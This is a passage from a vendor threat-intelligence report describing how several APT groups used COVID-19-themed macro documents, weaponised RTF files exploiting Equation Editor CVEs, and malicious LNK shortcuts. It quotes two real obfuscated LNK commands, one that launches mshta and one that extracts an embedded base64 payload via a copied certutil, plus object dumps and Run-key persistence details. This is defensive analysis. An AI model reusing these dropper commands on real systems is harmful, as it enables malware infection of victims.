2014¹².At first, TA542 used modules from the Feodo banking Trojan, but over time developed their malware with modular architecture adding new capabilities. Since the emergence of COVID-19, TA542 has started using coronavirus themes in various email distribution campaigns.Malicious documents distributed by the actor have embedded macros that act as a downloader for Emotet malware¹³. ### Bitter Bitter is suspected to be a south Asian APT group targeting Pakistan and China since 2015¹⁴.According to other security researchers, this group has also used COVID-19 themes to target China¹⁵.Macro-embedded documents distributed by this group download and drop a variant of its custom RAT that has been written in.Net.Unfortunately, we were not able to retrieve any sample related to this campaign. ### Ocean Lotus APT32 (Ocean lotus, Sea Lotus) is a Vietnamese APT that has been active since 2014. The group has targeted private sectors as well as governments and journalists from Australia, Brunei, Cambodia, China, Germany, Indonesia, Laos, Malaysia, Myanmar, Philippines, Singapore, Thailand, the US, and Vietnam.Ocean Lotus has used strategic web compromises and spear phishing to gain foothold into victims' machines¹⁶. Ocean Lotus also used malicious macro-embedded documents with COVID-19 themes to target China, starting February 19.In this attack, the malicious document dropped the "Denis" Trojan, a malware family that has been developed by this group¹⁷. {19}------------------------------------------------ ### RTF exploit RTF is a flexible text format that was introduced by Microsoft a long time ago.The flexibility of embedding any object type within makes RTF files vulnerable to many OLE objects related vulnerabilities.Several threat actors, especially Chinese ones, use RTF files in their campaigns.Among them are the Calypso group and Winnti threat actors who have used RTF files in their COVID-19 campaigns. ### Calypso Group Calypso is a Chinese APT group that has been performing cyber espionage operations since 2016^{18, 19}.The group has targeted governments in Brazil, India, Kazakhstan, Russia, Thailand, Belarus, Mongolia, and Turkey. In the new campaign, called Vicious Panada, Calypso Group has targeted the Mongolian public sector by sending malicious RTF files to victims disguised as COVID-19 related documents²⁰. The RTF file has been weaponized with the Royal Road RTF weaponization tool.The tool is known to be used by several Chinese actors and has the capability to embed objects within RTF files that exploit vulnerabilities related to Microsoft Equation Editor.(CVE-2017-11882, CVE-2018-0798, CVE-2018-0802)²¹. In this campaign, the RTF file exploits the equation editor vulnerability to drop “intel.wll” into the “AppData/Roaming/Microsoft/Word/STARTUP/” directory (Figure 27).“intel.wll” is then executed each time the Microsoft Word application is launched.This DLL downloads additional payloads, including a backdoor with several capabilities, such as taking screen shots, executing new processes, or collecting system information. ![Screenshot of a hex editor showing RTF file embedding k.dll.The image displays two RTF objects.Object 0 at offset 000150F3h is an embedded package with a source path 'C:\DOCUME-1\zack\Desktop\1112\k.bin' and a temp path 'C:\DOCUME-1\zack\Desktop\1112\k.bin'.Object 1 at offset 00070F78h is an embedded equation object with an MDS hash and a note about a Microsoft Equation 3.0 vulnerability exploit.](a22706a012455902af2bedf650e20c1a_img.jpg) ``` td | index | OLE Object ----- 0 | 000150F3h | format_id:2 (Embedded) | class name:b'Package' | data size:159838 | OLE Package object: | Source path:'C:\DOCUME-1\zack\Desktop\1112\k.bin' | Temp path = 'C:\DOCUME-1\zack\Desktop\1112\k.bin' | MDS = '76acda3c0dc603df216bde4778460134' ----- 1 | 00070F78h | format_id:2 (Embedded) | class name:b'Equation.3' | data size:4608 | MDS = '69906b0c3a871fa4eceeb061e3ac0753' | CLSID:0002CE02-0000-0000-C000-000000000046 | Microsoft Equation 3.0 (Known Related to CVE-2017-11882 or | CVE-2018-0802) | Possibly an exploit for the Equation Editor vulnerability | (VU#421280, CVE-2017-11882) ``` Figure 28:RTF file embedding k.dll {20}------------------------------------------------ ![Decorative blue curved graphic on the left side of the page.](793eb94053441c45bcf1e1fad773a7eb_img.jpg) Decorative blue curved graphic on the left side of the page. Looking at the Equation Native Stream, we can see that this DLL is made persistent by using the run registry key “Microsoft\Windows\CurrentVersion\Run” (Figure 29).In this case, “k.dll” is executed each time the system reboots. ![Hex dump of the Equation native stream showing a registry key for 'Microsoft\Windows\CurrentVersion\Run' with the value 'k.dll'.](2a77eb32ef4c4d8a5c1758a53a908336_img.jpg) The figure is a hex dump of a file stream.It shows memory addresses on the left, hex values in the middle, and ASCII representation on the right.A red box highlights a section of the ASCII text starting at address 00000c90.The highlighted text includes the path 'Microsoft\Windows\CurrentVersion\Run' and the value 'k.dll', indicating that the DLL is registered to run at startup. Hex dump of the Equation native stream showing a registry key for 'Microsoft\Windows\CurrentVersion\Run' with the value 'k.dll'. Figure 29:Equation native stream A code similarity check between “k.dll” and “intel.wll” showed that both have similar functionalities and the same exported function named “Engdic”. ### Chinese actor (Winnti) Another Chinese threat actor that used the Royal Road weaponization framework with a COVID-19 theme recently dropped a backdoor variant named Chinoxy by exploiting the equation editor vulnerability^{22, 23}.Some evidence suggests that Winnti is the actor behind this campaign, but we cannot confirm it^{22, 24, 25}. {21}------------------------------------------------ ## Malicious LNK files LNK files are shortcut files used by Microsoft Windows.They are considered a Shell item type that can be executed.From 2013 on, attackers have used malicious LNK files to infect their victims.A few APTs started using malicious LNK with COVID-19 themes from late February to mid-March to ensnare victims. ### Mustang Panada Mustang Panda is a Chinese threat actor that has targeted NGOs (non-government organizations) since 2017.The group's main targets are US think tanks and NGO organizations in Mongolia.Mustang Panda uses spear phishing emails to initiate its attacks and usually drops either Poison Ivy or the PlugX RAT^{26, 27}. In their COVID-19 phishing campaign, Mustang Panda sent an LNK file containing a malicious HTA application, which contained a VB script (Figure 30). ![A screenshot of a Windows command prompt window showing the execution of a malicious HTA file.The prompt displays the command 'hta application ](4b0f6b9fffe1f9b12f0db27b76e617ca_img.jpg) A screenshot of a Windows command prompt window showing the execution of a malicious HTA file.The prompt displays the command 'hta application Figure 30:HTA file {22}------------------------------------------------ In the properties of this LNK file, there is a command that will be executed when the file is opened (Figure 31). ``` %comspec%/c f%windir:~-3,1%%PUBLIC:~-9,1% %x in (%temp%=%cd%) do f%windir:~-3,1%%PUBLIC:~-9,1%/f "delims==" %i in ('dir "%x\03-01-1.lnk"/s/b') do start %TEMP:~-2,1%%windir:~-1,1%h%TEMP:~-13,1%%TEMP:~-7,1%.exe "%i" ``` Figure 31:Command The command calls “mshta.exe” to execute the HTA application that drops and runs a payload.The payload has a resource that is dropped in the victim’s machine.The final payload in this campaign is either a variant of PlugX RAT or Cobalt Strike. ### Higaisia Anomali has reported another threat group called Higaisia using malicious LNK files to perform malicious operations using COVID-19 themes.The actor sends an LNK file disguised as a PDF via spam campaigns.After opening the LNK file, an actual PDF file is opened²⁸. It is assumed that the group behind this campaign is a North Korean actor targeting English speaking people/organizations²⁸. Opening the LNK file leads to execution of the command embedded in the property section (Figure 32).The command decodes an embedded base64 payload and drops it into the victim’s machine. ``` %SystemRoot%\system32\cmd.exe/c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\g420kyumBB2gDn.tmp/y&for/r C:\Windows\System32\%i in (*ertu*.exe) do copy %i %tmp%\msola.exe/y&findstr.exe "TVNDRgAAAA" %tmp%\g420kyumBB2gDn.tmp>%tmp%\cSiIr0uywDNvDu.``` Figure 32:Command The dropped payload is a cabinet file that contains multiple files.The content of the cabinet file is extracted using the legitimate Windows executable “extract.exe”.From there, multiple stages are executed and finally, a variant of the PlugX RAT is dropped. {23}------------------------------------------------ ## Conclusion In this report, we provided an overview of various APT groups using the COVID-19 pandemic as a theme in several different types of malicious campaigns to increase the odds of their attacks' success.This shows that threat actors are closely monitoring public events happening around the world, and quickly employing those themes in attack vectors to take advantage of the opportunity. We expect that in the coming weeks and months, APT threat actors will continue to leverage this crisis to craft phishing campaigns using social engineering techniques and other malicious tactics embedded into lure documents to compromise their targets. The Malwarebytes Threat Intelligence team is monitoring the threat landscape and paying particular attention to attacks trying to abuse the public's fear of the COVID-19 crisis.Our business and consumer customers are protected from these attacks and more, thanks to our multi-layered detection engines. For more information about the threat landscape or how our products thwart advanced attacks, feel free to get in touch with us at [intel@malwarebytes.com](mailto:intel@malwarebytes.com). ## Sources - [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:[https://mp.weixin.qq.com/s/ZpNK\\_ACZSa8HD75z8wlBgw](https://mp.weixin.qq.com/s/ZpNK_ACZSa8HD75z8wlBgw).- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:[https://malpedia.caad.fkie.fraunhofer.de/actor/calypso\\_group](https://malpedia.caad.fkie.fraunhofer.de/actor/calypso_group).- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:.- [Online].Available:. ![Malwarebytes logo](8b7d06054b5d46b891858673c714c794_img.jpg) Malwarebytes logo ![Business icon](082ba09313df59d76a7bfbdde8ec877d_img.jpg) Business icon [malwarebytes.com/business](https://malwarebytes.com/business) ![Email icon](bf3c621d092c6cc0d3ec58fcd087627d_img.jpg) Email icon [corporate-sales@malwarebytes.com](mailto:corporate-sales@malwarebytes.com) ![Phone icon](878623b895fcb54c43d220da821ef20d_img.jpg) Phone icon 1.800.520.2796 Malwarebytes is a cybersecurity company that millions worldwide trust.Malwarebytes proactively protects people and businesses against malicious threats, including ransomware, that traditional antivirus solutions miss.The company's flagship product uses signature-less technologies to detect and stop a cyberattack before damage occurs.Learn more at [www.malwarebytes.com](https://www.malwarebytes.com). [comment]:<> (===END_PAGE 1===) ----------------

APT_Report: COVID

Reports